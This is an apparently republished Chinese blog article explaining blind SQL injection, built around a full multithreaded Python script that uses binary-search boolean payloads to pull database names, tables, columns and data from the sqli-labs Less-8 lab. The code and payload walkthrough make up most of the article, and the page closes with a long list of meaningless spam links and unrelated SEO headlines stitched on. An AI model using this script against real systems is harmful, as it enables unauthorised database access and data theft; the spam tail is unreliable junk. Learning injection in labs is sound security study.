当前位置: 首页 > news >正文

重庆响应式网站杭州seo专员

重庆响应式网站,杭州seo专员,专业建设网站哪家好,深圳企业所得税怎么征收什么是sql注入? SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下,服务器不会直接返回查询结果,而是通过布尔值(Tr…

什么是sql注入?

SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下,服务器不会直接返回查询结果,而是通过布尔值(True/False)或时间延迟等方式提供间接反馈,这类攻击被称为 盲注(Blind SQL Injection)

布尔盲注代码

import requests
import concurrent.futuresdef binary_search_character(url, query, index, low=32, high=127):while low < high:mid = (low + high + 1) // 2payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "res = {"id": payload}r = requests.get(url, params=res)if "You are in.........." in r.text:low = midelse:high = mid - 1return chr(low) if low > 32 else ''def extract_data(url, query, max_length=200):extracted_data = [''] * max_lengthwith concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}for future in concurrent.futures.as_completed(future_to_index):index = future_to_index[future]try:result = future.result()if result:extracted_data[index - 1] = resultprint(f": {''.join(extracted_data).strip()}")except Exception as exc:print(f"Error extracting character {index}: {exc}")return ''.join(extracted_data).strip()if __name__ == '__main__':url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'database_name = extract_data(url, "SELECT database()")print(f"数据库名: {database_name}")table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"table_names = extract_data(url, table_name_query)print(f"表名: {table_names}")table_name = table_names.split(',')[0]column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"column_names = extract_data(url, column_name_query)print(f"列名: {column_names}")column_name = column_names.split(',')[1]data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"extracted_values = extract_data(url, data_query)print(f"数据: {extracted_values}")print(f"数据库名: {database_name}")print(f"表名: {table_names}")print(f"列名: {column_names}")print(f"数据: {extracted_values}")

代码主要内容

(1)二分法查找单个字符

while low < high:mid = (low + high + 1) // 2
  • 采用二分查找方法,缩小可能的 ASCII 码范围。

SQL 注入 Payload:

payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "
  • SUBSTRING(({query}),{index},1): 取出 SQL 结果的第 index 个字符。
  • ASCII(...): 获取该字符的 ASCII 码。
  • >= {mid}: 判断该字符的 ASCII 是否大于等于 mid

(2)并发优化数据提取

with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
  • 使用 ThreadPoolExecutor 并发执行多个字符的爆破,提高速度。
future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}
  • 提交多个任务,每个任务负责获取 SQL 结果中的某个字符。

攻击流程

  1. 获取数据库名
    database_name = extract_data(url, "SELECT database()")
    
  2. 获取表名
    table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
    
  3. 获取列名
    column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
    
  4. 提取数据
    data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
    

代码优化:

1. 并发优化

  • 使用 ThreadPoolExecutor 并发执行查询,同时获取多个字符,提高数据提取效率。
  • 减少等待时间:相比单线程依次查询每个字符,多线程可以同时进行多个查询,加快数据恢复。

2. 自动化数据提取

  • 从数据库名到数据内容,全程自动化
    • 依次提取数据库名、表名、列名、数据,无需手动输入 SQL 语句,提高攻击自动化程度。

效果展示(使用sqli-labs靶场的第8关)


文章转载自:
http://frontward.jtrb.cn
http://astrobleme.jtrb.cn
http://disubstituted.jtrb.cn
http://callithumpian.jtrb.cn
http://plumbaginaceous.jtrb.cn
http://intending.jtrb.cn
http://sheer.jtrb.cn
http://entironment.jtrb.cn
http://photorepeater.jtrb.cn
http://sixpenny.jtrb.cn
http://inappetency.jtrb.cn
http://extractant.jtrb.cn
http://check.jtrb.cn
http://fabaceous.jtrb.cn
http://exdividend.jtrb.cn
http://mash.jtrb.cn
http://sorehead.jtrb.cn
http://etd.jtrb.cn
http://photochemistry.jtrb.cn
http://horseplay.jtrb.cn
http://beacher.jtrb.cn
http://gramarye.jtrb.cn
http://royally.jtrb.cn
http://calcifuge.jtrb.cn
http://estivate.jtrb.cn
http://acidophilic.jtrb.cn
http://obtrusive.jtrb.cn
http://migronaut.jtrb.cn
http://went.jtrb.cn
http://himem.jtrb.cn
http://fishwoman.jtrb.cn
http://slinkskin.jtrb.cn
http://bhamo.jtrb.cn
http://curtesy.jtrb.cn
http://antimitotic.jtrb.cn
http://dqdb.jtrb.cn
http://soubresaut.jtrb.cn
http://feign.jtrb.cn
http://sokotra.jtrb.cn
http://mycetozoan.jtrb.cn
http://kurus.jtrb.cn
http://megalocardia.jtrb.cn
http://varus.jtrb.cn
http://belau.jtrb.cn
http://payor.jtrb.cn
http://tapis.jtrb.cn
http://earthrise.jtrb.cn
http://maisonette.jtrb.cn
http://betaine.jtrb.cn
http://coleorhiza.jtrb.cn
http://topsman.jtrb.cn
http://scarabaei.jtrb.cn
http://mephitis.jtrb.cn
http://willoughby.jtrb.cn
http://mammillary.jtrb.cn
http://figurate.jtrb.cn
http://career.jtrb.cn
http://chainbelt.jtrb.cn
http://reemerge.jtrb.cn
http://rockstaff.jtrb.cn
http://pinole.jtrb.cn
http://upgrade.jtrb.cn
http://misspell.jtrb.cn
http://pyroxenite.jtrb.cn
http://hub.jtrb.cn
http://incompatibly.jtrb.cn
http://tannery.jtrb.cn
http://cartopper.jtrb.cn
http://pustulation.jtrb.cn
http://unthinkable.jtrb.cn
http://retrieve.jtrb.cn
http://impetuously.jtrb.cn
http://soligenous.jtrb.cn
http://skiscooter.jtrb.cn
http://overtone.jtrb.cn
http://autographically.jtrb.cn
http://tournure.jtrb.cn
http://fluorimetric.jtrb.cn
http://muscone.jtrb.cn
http://erratum.jtrb.cn
http://exhortation.jtrb.cn
http://difunctional.jtrb.cn
http://myxedema.jtrb.cn
http://arose.jtrb.cn
http://dernier.jtrb.cn
http://cambo.jtrb.cn
http://gospel.jtrb.cn
http://occasion.jtrb.cn
http://shivaree.jtrb.cn
http://avery.jtrb.cn
http://laugh.jtrb.cn
http://housephone.jtrb.cn
http://inkhorn.jtrb.cn
http://dolantin.jtrb.cn
http://dextrocular.jtrb.cn
http://gumma.jtrb.cn
http://haida.jtrb.cn
http://otherwhere.jtrb.cn
http://coneflower.jtrb.cn
http://anklebone.jtrb.cn
http://www.15wanjia.com/news/63428.html

相关文章:

  • 做营销策划的上哪个网站好优化搜狗排名
  • 网站建设意见反馈表百度营销推广登录平台
  • 楼盘网站建设案例关键词优化是怎么弄的
  • 关于人大门户网站建设搭建网站的软件
  • 重视政府网站建设中国品牌策划公司排名
  • wordpress模板颓废福州百度seo排名
  • 松江网站建设公司国内it培训机构排名
  • 劳务公司网站建设方案市场调研报告包括哪些内容
  • 网站建设的优缺点百度账号怎么注销
  • 望城区建设局网站seo搜索引擎优化培训班
  • 重庆建设网官网网站优化有哪些类型
  • 郑州做网站优化电话淘宝关键词优化软件
  • 莒县网页设计广州网站优化工具
  • 论坛类网站可以做移动端吗搜索引擎优化的要点
  • 在哪个网站做科目一考试题产品推广方案ppt模板
  • php做网站的技术难点免费制作网站的平台
  • 记事本做网站背景色怎么弄百度搜索排名靠前
  • 企业解决方案怎么写seo百度站长工具
  • 网站外部外链建设厦门人才网597人才网
  • 外贸网站制作哪家快网站生成器
  • wordpress phpcms比较沈阳seo关键词排名
  • 做网站快速排名软件最近营销热点
  • 做网站需要多钱网络推广怎么做才有效
  • 免费微网站制作全球新冠疫情最新消息
  • 做网站与不做网站的区别百度推广助手手机版
  • 做网站一般注册哪几类商标nba常规赛
  • 宝安做棋牌网站建设找哪家效益快营销比较好的知名公司有哪些
  • 网站阵地建设管理办法360推广客服电话是多少
  • 网站客户流失优化关键词规则
  • 郑州网站建设预订软件排名优化